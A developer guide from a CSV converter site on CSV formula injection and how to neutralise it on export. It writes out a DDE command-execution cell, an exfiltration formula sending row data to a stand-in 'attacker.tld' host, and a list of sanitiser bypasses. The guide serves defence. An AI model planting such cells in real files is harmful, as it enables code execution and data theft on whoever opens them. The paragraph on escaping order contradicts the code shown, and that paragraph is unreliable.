CSVFormat CSV Converter

Formula Injection in CSV: Why =SUM() in a Cell Is a Security Bug

CSVFormat — CSV Formatter & Converter Guides · Updated 2026-10-17 · All guides

A CSV is not inert text when the consumer is a spreadsheet. A cell beginning with =, +, -, or @ is parsed as a formula, and it is evaluated with the privileges of whoever opened the file. This is a real, old, and still-unpatched-by-default class: OWASP tracks it as CSV injection; CVE-2018-8082 was an Excel arbitrary-code-execution chain that began with a crafted cell.

What actually happens

You export user-supplied data. A user puts this in their "display name" field:

=sum(1,cmd|'/C calc'!A0)

You write it into column B of a CSV. Your customer opens the CSV in Excel; the cell is a formula; cmd|'/C calc'!A0 links into the DDE channel and executes. calc is the polite demonstration payload — the same shape launches PowerShell. Two things make this worse than it looks:

  1. The formula is stored, so the payload survives your validation, your storage, your audit log, and fires months later when an analyst opens the export.
  2. Nothing in a CSV file is a delimiter of trust. There is no field that means "this came from a user" and no field that means "this is ours".

Beyond =, the characters that trigger formula parsing are +, -, and @. The =-prefixed DDE payloads (=cmd|'…'!A0, =WEBSERVICE(), =RTM(), =HYPERLINK()) are the common ones; a plain =1+1 proves the same vulnerability and is the payload your pentest report will contain.

The formula functions that turn an export into an exfiltration channel

DDE is the code-execution headline, but most real-world findings are quieter: formulas that read and send. Excel and LibreOffice ship functions that make a CSV cell a network client:

FunctionWhat it does from a crafted cellWhy it matters
=WEBSERVICE(url)fetches a URL and returns the response into the cellthe classic data-leak primitive; combine with concatenation to exfiltrate cell contents in the query string
=HYPERLINK("http://evil/"+A1)renders a clickable link built from other cellsphishing surface with your brand on it; the displayed text can differ from the target
=RTM("stock", …)pulls live data over a DDE-like channelhistorical, still parses in some engines
`=cmd'/C …'!A0`DDE command executionthe CVE-class payload; blocked by default in current Excel via Trust Bar for internet files
=IMPORTXML / =IMPORTDATA (Google Sheets)fetch and parse remote XML/CSVSheets' equivalent of WEBSERVICE; a crafted CSV opened in Sheets gets the same channel

The exfil shape in one line: =WEBSERVICE("http://attacker.tld/"&A2). A CSV cell can concatenate other cells into a URL, so a single injected cell can leak the whole row — and the request comes from the victim's machine, on their network, past your perimeter.

The output-encoding fix

Prefix the cell so the leading character is no longer the first byte, and keep the value readable:

DANGER = ('=', '+', '-', '@', '\t', '\r')

def escape(value: str) -> str:
    v = str(value)
    if v.startswith(DANGER):
        v = "'" + v            # a leading apostrophe: Excel shows the text, not a formula
    return '"' + v.replace('"', '""') + '"'

Trade-offs, stated honestly:

PrefixExcelGoogle SheetsA programmatic reader
' (apostrophe)displays as text, apostrophe hiddenkept as a literal characterappears in the value
" quoting alonedoes not help — quoting is stripped, formula still runssamefine
tab prefixtext, invisibletextyou now have a tab in your data

Quoting is transport, not escaping: '=cmd|…' in a quoted CSV field is unquoted by the reader and then evaluated. The apostrophe is display sugar in Excel and a data artefact everywhere else, which is why the strongest option for a machine consumer is different from the strongest option for Excel.

For an API or a pipeline, prefer refusing at write time: reject or neutralise user input that begins with those characters before it enters your database, so the artefact never exists. For a spreadsheet export, prefix. Doing neither and writing "=SUM(A1)" out of a validated field is the actual bug.

The same escape function has a second, subtler failure mode: it must run on the string after your CSV writer's own quoting, not before. If you escape after quoting, you've prefixed a " and Excel sees text starting with a quote — ugly but safe. If you quote after escaping, you've doubled the apostrophe into the value. Whichever order you pick, write a test that asserts the parsed value round-trips to '=cmd|… — the string Excel will refuse to evaluate.

Where it shows up in the wild

  • Export-to-CSV endpoints that dump users verbatim — the classic.
  • Logs viewed in a spreadsheet by an analyst, where the log line contains a username.
  • Payment and invoicing exports where the counterparty controls an address or memo field.
  • Any tool that "sanitises" by stripping = from the start of the string but not after a leading space: =cmd|… — Excel ignores leading whitespace before formula parsing, so the naive check is bypassable by a space.

The bypass list is longer than the space. Each of these has appeared in a real finding as "the check missed it":

  • Leading whitespace or tab — =cmd|…, \t=cmd|…. Excel trims before formula parsing.
  • Unicode lookalikes that normalise — a fullwidth = (U+FF1D) survives some validators and normalises to = in others, including spreadsheet import paths.
  • Negative numbers that aren't — -1+1 is a formula too; blocking = while allowing - at field start is a half-fix. Phone numbers like -5551234 are why a blanket - block breaks data, which is why prefixing beats blocking.
  • Case and locale variants — =SOMME(...) in a German Excel, =sum vs =SUM; the trigger is the leading character, not the function name, so locale never saves you.
  • Secondary consumers — the CSV parses clean into your pipeline, then someone "just opens it in Excel to look at it." The security boundary is the viewer, not the file format.

Checklist for an exporter

  1. Neutralise on output, not only on input — storage already contains the payload from before the rule existed.
  2. Check the first character after any leading whitespace, and handle \t/\r which also affect where Excel thinks the cell starts.
  3. Apply it to every cell, including your own columns; "we would never put = in a status code" is a claim about the future.
  4. Test with a real spreadsheet app, not a parser. A unit test asserting the CSV "parses correctly" passes on a vulnerable file, because the payload parses perfectly.
  5. If you cannot change the exporter, change the viewer: Excel's Trust Bar and Protected View block the DDE path for files from the internet, which is mitigation, not a fix.

A minimal regression suite that catches the whole class — run your real exporter, then grep the output:

# after generating export.csv from fixture data containing payloads:
grep -nE '(^|,)"?\s*[=+@-]' export.csv && { echo "UNSAFE: raw formula-start cell in export"; exit 1; } || echo "ok"

The fixture rows should include: =1+1, =cmd|'/C calc'!A0 (leading space), -5551234 (legit negative that must survive un-prefixed or be consciously prefixed), +44 7700 900123 (phone with plus), and =WEBSERVICE("http://x/"&A2). If your fix passes on =1+1 but prefixes the phone number into '+44… and your support team complains, that's the trade-off working as designed — document it, don't "fix" it by narrowing the check to =.

The converter here leaves values alone by design — it is a viewer for data you already own, and its pro-tips section flags =, +, -, @ starts for exactly this reason. If you are reading a suspicious file rather than writing one, large CSV files covers inspecting bytes before opening anything in a spreadsheet, and encoding and the BOM covers the other reason a file looks wrong before it is wrong.

Developer Sponsor / Partner
Copied to clipboard!